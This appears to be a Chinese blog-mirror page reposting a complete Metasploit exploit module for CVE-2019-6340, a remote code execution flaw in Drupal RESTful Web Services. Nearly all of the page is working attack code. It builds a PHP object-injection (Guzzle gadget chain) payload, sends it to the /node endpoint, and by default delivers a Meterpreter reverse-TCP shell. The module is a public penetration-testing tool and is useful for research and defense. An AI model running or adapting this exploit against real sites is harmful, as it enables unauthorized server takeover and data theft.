zoukankan      html  css  js  c++  java
  • [EXP]Drupal < 8.5.11 / < 8.6.10

    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
      # NOTE: All (four) Web Services modules need to be enabled
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HTTP::Drupal
    
      def initialize(info = {})
        super(update_info(info,
          'Name'               => 'Drupal RESTful Web Services unserialize() RCE',
          'Description'        => %q{
            This module exploits a PHP unserialize() vulnerability in Drupal RESTful
            Web Services by sending a crafted request to the /node REST endpoint.
    
            As per SA-CORE-2019-003, the initial remediation was to disable POST,
            PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
            (albeit cached). Cached nodes can be exploited only once.
    
            Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
            this alternate vector.
    
            Drupal < 8.5.11 and < 8.6.10 are vulnerable.
          },
          'Author'             => [
            'Jasper Mattsson', # Discovery
            'Charles Fol',     # PoC
            'Rotem Reiss',     # Module
            'wvu'              # Module
          ],
          'References'         => [
            ['CVE', '2019-6340'],
            ['URL', 'https://www.drupal.org/sa-core-2019-003'],
            ['URL', 'https://www.drupal.org/psa-2019-02-22'],
            ['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
            ['URL', 'https://github.com/ambionics/phpggc'],
            ['URL', 'https://twitter.com/jcran/status/1099206271901798400']
          ],
          'DisclosureDate'     => '2019-02-20',
          'License'            => MSF_LICENSE,
          'Platform'           => ['php', 'unix'],
          'Arch'               => [ARCH_PHP, ARCH_CMD],
          'Privileged'         => false,
          'Targets'            => [
            ['PHP In-Memory',
              'Platform'       => 'php',
              'Arch'           => ARCH_PHP,
              'Type'           => :php_memory,
              'Payload'        => {'BadChars' => "'"},
              'DefaultOptions' => {
                'PAYLOAD'      => 'php/meterpreter/reverse_tcp'
              }
            ],
            ['Unix In-Memory',
              'Platform'       => 'unix',
              'Arch'           => ARCH_CMD,
              'Type'           => :unix_memory,
              'DefaultOptions' => {
                'PAYLOAD'      => 'cmd/unix/generic',
                'CMD'          => 'id'
              }
            ]
          ],
          'DefaultTarget'      => 0,
          'Notes'              => {
            'Stability'        => [CRASH_SAFE],
            'SideEffects'      => [IOC_IN_LOGS],
            'Reliablity'       => [UNRELIABLE_SESSION], # When using the GET method
            'AKA'              => ['SA-CORE-2019-003']
          }
        ))
    
        register_options([
          OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',
                                ['GET', 'POST', 'PATCH', 'PUT']]),
          OptInt.new('NODE',    [false, 'Node ID to target with GET method', 1])
        ])
    
        register_advanced_options([
          OptBool.new('ForceExploit', [false, 'Override check result', false])
        ])
      end
    
      def check
        checkcode = CheckCode::Unknown
    
        version = drupal_version
    
        unless version
          vprint_error('Could not determine Drupal version')
          return checkcode
        end
    
        if version.to_s !~ /^8/
          vprint_error("Drupal #{version} is not supported")
          return CheckCode::Safe
        end
    
        vprint_status("Drupal #{version} targeted at #{full_uri}")
        checkcode = CheckCode::Detected
    
        changelog = drupal_changelog(version)
    
        unless changelog
          vprint_error('Could not determine Drupal patch level')
          return checkcode
        end
    
        case drupal_patch(changelog, 'SA-CORE-2019-003')
        when nil
          vprint_warning('CHANGELOG.txt no longer contains patch level')
        when true
          vprint_warning('Drupal appears patched in CHANGELOG.txt')
          checkcode = CheckCode::Safe
        when false
          vprint_good('Drupal appears unpatched in CHANGELOG.txt')
          checkcode = CheckCode::Appears
        end
    
        # Any further with GET and we risk caching the targeted node
        return checkcode if meth == 'GET'
    
        # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
        token = Rex::Text.rand_text_alphanumeric(8..42)
        res   = execute_command("echo #{token}")
    
        return checkcode unless res
    
        if res.body.include?(token)
          vprint_good('Drupal is vulnerable to code execution')
          checkcode = CheckCode::Vulnerable
        end
    
        checkcode
      end
    
      def exploit
        if [CheckCode::Safe, CheckCode::Unknown].include?(check)
          if datastore['ForceExploit']
            print_warning('ForceExploit set! Exploiting anyway!')
          else
            fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
          end
        end
    
        if datastore['PAYLOAD'] == 'cmd/unix/generic'
          print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
          # XXX: Naughty datastore modification
          datastore['DUMP_OUTPUT'] = true
        end
    
        case target['Type']
        when :php_memory
          # XXX: This will spawn a *very* obvious process
          execute_command("php -r '#{payload.encoded}'")
        when :unix_memory
          execute_command(payload.encoded)
        end
      end
    
      def execute_command(cmd, opts = {})
        vprint_status("Executing with system(): #{cmd}")
    
        # https://en.wikipedia.org/wiki/Hypertext_Application_Language
        hal_json = JSON.pretty_generate(
          'link'      => [
            'value'   => 'link',
            'options' => phpggc_payload(cmd)
          ],
          '_links'    => {
            'type'    => {
              'href'  => vhost_uri
            }
          }
        )
    
        print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")
    
        res = send_request_cgi({
          'method'   => meth,
          'uri'      => node_uri,
          'ctype'    => 'application/hal+json',
          'vars_get' => {'_format' => 'hal_json'},
          'data'     => hal_json
        }, 3.5)
    
        return unless res
    
        case res.code
        # 401 isn't actually a failure when using the POST method
        when 200, 401
          print_line(res.body) if datastore['DUMP_OUTPUT']
          if meth == 'GET'
            print_warning('If you did not get code execution, try a new node ID')
          end
        when 404
          print_error("#{node_uri} not found")
        when 405
          print_error("#{meth} method not allowed")
        when 422
          print_error('VHOST may need to be set')
        when 406
          print_error('Web Services may not be enabled')
        else
          print_error("Unexpected reply: #{res.inspect}")
        end
    
        res
      end
    
      # phpggc Guzzle/RCE1 system id
      def phpggc_payload(cmd)
        (
          # http://www.phpinternalsbook.com/classes_objects/serialization.html
          <<~EOF
            O:24:"GuzzleHttp\Psr7\FnStream":2:{
              s:33:"u0000GuzzleHttp\Psr7\FnStreamu0000methods";a:1:{
                s:5:"close";a:2:{
                  i:0;O:23:"GuzzleHttp\HandlerStack":3:{
                    s:32:"u0000GuzzleHttp\HandlerStacku0000handler";
                      s:cmd_len:"cmd";
                    s:30:"u0000GuzzleHttp\HandlerStacku0000stack";
                      a:1:{i:0;a:1:{i:0;s:6:"system";}}
                    s:31:"u0000GuzzleHttp\HandlerStacku0000cached";
                      b:0;
                  }
                  i:1;s:7:"resolve";
                }
              }
              s:9:"_fn_close";a:2:{
                i:0;r:4;
                i:1;s:7:"resolve";
              }
            }
          EOF
        ).gsub(/s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
      end
    
      def meth
        datastore['METHOD'] || 'POST'
      end
    
      def node
        datastore['NODE'] || 1
      end
    
      def node_uri
        if meth == 'GET'
          normalize_uri(target_uri.path, '/node', node)
        else
          normalize_uri(target_uri.path, '/node')
        end
      end
    
      def vhost_uri
        full_uri(
          normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
          vhost_uri: true
        )
      end
    
    end
                
  • 相关阅读:
    BI 商业智能理解结构图
    编写SqlHelper使用,在将ExecuteReader方法封装进而读取数据库中的数据时会产生Additional information: 阅读器关闭时尝试调用 Read 无效问题,解决方法与解释
    C#程序读取数据库中包含null的列的值
    C#程序中从数据库取数据时需注意数据类型之间的对应,int16int32int64
    在Eclipse中启动tomcat后访问tomcat首页时出现404
    JavaWeb:报错信息The superclass "javax.servlet.http.HttpServlet" was not found on the Java Build Path
    spring环境搭建
    Struts2环境搭建
    MySQL中case then用法
    在1-10中选择一个数,输出x+xx+xxx+xxx....x之和,如:数字为2,则2+22=24
  • 原文地址:https://www.cnblogs.com/k8gege/p/10533491.html
Copyright © 2011-2022 走看看